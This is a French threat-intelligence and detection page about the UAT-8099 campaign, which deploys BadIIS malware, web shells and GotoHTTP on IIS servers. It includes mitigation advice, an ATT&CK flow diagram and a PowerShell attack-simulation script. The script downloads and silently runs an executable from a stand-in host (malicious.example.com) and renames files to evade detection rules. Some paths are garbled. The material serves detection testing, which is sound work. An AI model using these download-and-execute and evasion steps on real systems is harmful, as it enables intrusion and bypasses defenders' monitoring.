Dissection de UAT-8099 : Nouveaux mécanismes de persistance et focus régional
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Cisco Talos rapporte une nouvelle campagne UAT-8099 ciblant des serveurs web IIS vulnérables en Asie. L’acteur déploie des variantes personnalisées de BadIIS qui incluent des identifiants régionaux et s’appuie sur des web shells, PowerShell, et l’outil de contrôle à distance GotoHTTP pour un contrôle ultérieur. La persistance s’est étendue à la création de comptes locaux cachés et à l’utilisation d’utilitaires de red teaming légitimes pour s’intégrer à l’activité administrative. La méthode se chevauche avec l’opération WEBJACK antérieure et semble se concentrer sur la fraude SEO affectant les sites en Thaïlande et au Vietnam.
Enquête
Talos a examiné la télémétrie DNS, les hachages de fichiers, et les scripts malveillants pour reconstruire la chaîne d’intrusion. Les analystes ont observé des web shells combinés à des outils tels que SoftEther VPN et EasyTier, ainsi qu’un ensemble d’utilitaires sur mesure incluant Sharp4RemoveLog, CnCrypt Protect, OpenArk64, et GotoHTTP. Deux souches de BadIIS adaptées aux régions — IISHijack et asdSearchEngine — ont été rétro-ingénierées, révélant des codes de pays intégrés en dur, un filtrage sélectif des requêtes et une configuration C2 chiffrée par XOR. Une version ELF de BadIIS avec des domaines C2 correspondants a également été identifiée sur VirusTotal.
Atténuation
Corrigez les vulnérabilités IIS exposées, renforcez l’application du pare-feu pour les applications web, et surveillez la création de comptes locaux cachés (par exemple, admin$, mysql$, et similaires). Détectez les activités PowerShell qui téléchargent ou lancent GotoHTTP et bloquez la communication sortante vers les domaines C2 connus. Utilisez des contrôles de point d’extrémité pour alerter sur l’exécution des utilitaires personnalisés identifiés et sur les modifications inattendues au sein des répertoires du serveur web.
Réponse
Si des indicateurs sont trouvés, isolez le serveur, supprimez les web shells et effacez les comptes cachés. Conservez les binaires BadIIS et les scripts associés pour une analyse judiciaire, et effectuez un examen complet du trafic réseau pour identifier l’activité C2. Restaurez à partir d’une sauvegarde connue comme étant bonne et renforcez la configuration IIS pour éviter la réinfection.
« graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ffcc99 %% Node definitions action_exploit_public_facing[« <b>Action</b> – <b>T1190 Exploiter une application exposée</b><br /><b>Description</b>: Exploite les vulnérabilités dans les applications exposées à Internet pour obtenir un accès initial.<br /><b>Détails</b>: Compromise des serveurs IIS via des vulnérabilités connues et déploie des web shells. »] class action_exploit_public_facing action tool_web_shell[« <b>Outil</b> – <b>Nom</b>: Web Shell<br /><b>Description</b>: Script côté serveur permettant l’exécution de commandes à distance. »] class tool_web_shell tool action_powershell_execution[« <b>Action</b> – <b>T1059.001 PowerShell</b><br /><b>Description</b>: Utilisez PowerShell pour exécuter des commandes et des payloads.<br /><b>Commandes</b>: whoami, tasklist, télécharger des outils. »] class action_powershell_execution action tool_powershell[« <b>Outil</b> – <b>Nom</b>: PowerShell<br /><b>Description</b>: Shell en ligne de commande et langage de script Windows. »] class tool_powershell tool action_system_info_discovery[« <b>Action</b> – <b>T1082 Découverte d’informations système</b><br /><b>Description</b>: Rassemble la configuration du système d’exploitation et du matériel.<br /><b>Commandes</b>: collecte des informations système, journalisation du contexte utilisateur. »] class action_system_info_discovery action action_create_account[« <b>Action</b> – <b>T1136 Créer un compte</b><br /><b>Description</b>: Crée des comptes locaux cachés pour la persistance. »] class action_create_account action action_valid_accounts[« <b>Action</b> – <b>T1078 Comptes valides</b><br /><b>Description</b>: Utilise les comptes créés pour un accès continu et une élévation de privilège. »] class action_valid_accounts action action_clear_event_logs[« <b>Action</b> – <b>T1070.001 Effacer les journaux des événements Windows</b><br /><b>Description</b>: Supprime les journaux pour cacher l’activité.<br /><b>Outil</b>: Utilitaire Sharp4RemoveLog. »] class action_clear_event_logs action tool_sharp4removelog[« <b>Outil</b> – <b>Nom</b>: Sharp4RemoveLog<br /><b>Description</b>: Utilitaire pour effacer les journaux d’événements Windows. »] class tool_sharp4removelog tool action_disable_event_logging[« <b>Action</b> – <b>T1562.002 Désactiver la journalisation des événements Windows</b><br /><b>Description</b>: Affaiblit les défenses en éteignant la journalisation. »] class action_disable_event_logging action action_obfuscate_files[« <b>Action</b> – <b>T1027 Fichiers ou informations obfusquées</b><br /><b>Description</b>: Utilise le chiffrement XOR (clé 0x7A) pour masquer la configuration C2 et les modèles HTML. »] class action_obfuscate_files action malware_badiis[« <b>Malware</b> – <b>Nom</b>: BadIIS<br /><b>Description</b>: Variantes utilisant l’obfuscation par XOR. »] class malware_badiis malware action_lateral_tool_transfer[« <b>Action</b> – <b>T1570 Transfert d’outil latéral</b><br /><b>Description</b>: Transférer des outils et fichiers dans l’environnement de la victime.<br /><b>Outils</b>: Binaires BadIIS, GotoHTTP, SoftEther VPN, EasyTier. »] class action_lateral_tool_transfer action tool_gotohttp[« <b>Outil</b> – <b>Nom</b>: GotoHTTP<br /><b>Description</b>: Transfère des fichiers via HTTP/HTTPS. »] class tool_gotohttp tool tool_softether[« <b>Outil</b> – <b>Nom</b>: SoftEther VPN<br /><b>Description</b>: Proxy multi-u2011sauts pour le tunneling de trafic. »] class tool_softether tool tool_easytier[« <b>Outil</b> – <b>Nom</b>: EasyTier<br /><b>Description</b>: Proxy multi-u2011sauts pour le tunneling de trafic. »] class tool_easytier tool action_proxy_multi_hop[« <b>Action</b> – <b>T1090.003 Proxy Multi-saut</b><br /><b>Description</b>: Utilise des outils proxy pour masquer l’origine du trafic. »] class action_proxy_multi_hop action action_web_protocol_c2[« <b>Action</b> – <b>T1071.001 Protocoles Web</b><br /><b>Description</b>: Communique C2 sur HTTP/HTTPS utilisant GotoHTTP. »] class action_web_protocol_c2 action %% Connections showing flow action_exploit_public_facing u002du002d>|uses| tool_web_shell tool_web_shell u002du002d>|enables| action_powershell_execution action_powershell_execution u002du002d>|uses| tool_powershell tool_powershell u002du002d>|executes| action_system_info_discovery action_system_info_discovery u002du002d>|leads to| action_create_account action_create_account u002du002d>|enables| action_valid_accounts action_valid_accounts u002du002d>|uses| action_clear_event_logs action_clear_event_logs u002du002d>|uses| tool_sharp4removelog action_clear_event_logs u002du002d>|also| action_disable_event_logging action_disable_event_logging u002du002d>|precedes| action_obfuscate_files action_obfuscate_files u002du002d>|implemented by| malware_badiis malware_badiis u002du002d>|facilitates| action_lateral_tool_transfer action_lateral_tool_transfer u002du002d>|transfers| tool_gotohttp action_lateral_tool_transfer u002du002d>|transfers| tool_softether action_lateral_tool_transfer u002du002d>|transfers| tool_easytier tool_softether u002du002d>|used for| action_proxy_multi_hop tool_easytier u002du002d>|used for| action_proxy_multi_hop action_proxy_multi_hop u002du002d>|supports| action_web_protocol_c2 tool_gotohttp u002du002d>|used in| action_web_protocol_c2 «
Flux d’attaque
Détections
Téléchargement ou Chargement via PowerShell (via cmdline)
Voir
Fichiers suspects dans le profil utilisateur public (via file_event)
Voir
Possibilité d’énumération de comptes ou de groupes (via cmdline)
Voir
Détection de l’exécution de commandes PowerShell pour le déploiement de GotoHTTP [Windows Powershell]
Voir
Détection de logiciels malveillants BadIIS ciblant les serveurs IIS pour la fraude SEO [Serveur Web]
Voir
Exécution de simulation
Prérequis : La Vérification préalable de la télémétrie et de la base de référence doit avoir été réussie.
-
Narrative & Commandes d’attaque :
Un attaquant a acquis un point d’appui initial sur un serveur web compromis. Ils créent un répertoire caché appelébad_iissous la racine web IIS et déposent un binaire de web‑shell nommé de manière personnaliséeshell_xyz.exe(en évitant la chaîne littérale “web shell”). En utilisant le shell, ils exécutent ultérieurement un payload PowerShell qui télécharge le binaire GotoHTTP, le renomme ensvc_update.exe, et l’exécute. Étant donné que les noms d’image sont obfusqués, lesImage|contientvérifications de la règle originale sont contournées, tandis que la ligne de commande contient toujours “PowerShell”. -
Script de test de régression : Ce script reproduit les étapes décrites et génère une télémétrie similaire à l’attaque BadIIS sans utiliser les chaînes exactes que la règle surveille.
# Simulation de BadIIS – version obfusquée $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" New-Item -Path $payloadDir -ItemType Directory -Force | Out-Null # Déployer un web‑shell renommé (copie binaire d'un exe bénin connu) $shellSrc = "$env:SystemRootSystem32notepad.exe" $shellDst = Join-Path $payloadDir "shell_xyz.exe" Copy-Item -Path $shellSrc -Destination $shellDst -Force # Simuler le web‑shell invoquant PowerShell pour télécharger GotoHTTP $gotoUrl = "http://malicious.example.com/GotoHTTP.exe" $gotoDst = "C:WindowsTempsvc_update.exe" $psCommand = @" Invoke-WebRequest -Uri '$gotoUrl' -OutFile '$gotoDst'; Start-Process -FilePath '$gotoDst' -WindowStyle Hidden; "@ # Exécuter le payload PowerShell via le web‑shell renommé (création de processus) Start-Process -FilePath $shellDst -ArgumentList "/c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `$psCommand`" -WindowStyle Hidden Write-Output "Simulation de BadIIS exécutée." -
Commandes de nettoyage : Supprime les artefacts plantés et restaure l’environnement.
# Nettoyage des artefacts de la simulation BadIIS $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" Remove-Item -Path $payloadDir -Recurse -Force -ErrorAction SilentlyContinue $gotoDst = "C:WindowsTempsvc_update.exe" Remove-Item -Path $gotoDst -Force -ErrorAction SilentlyContinue Write-Output "Nettoyage terminé."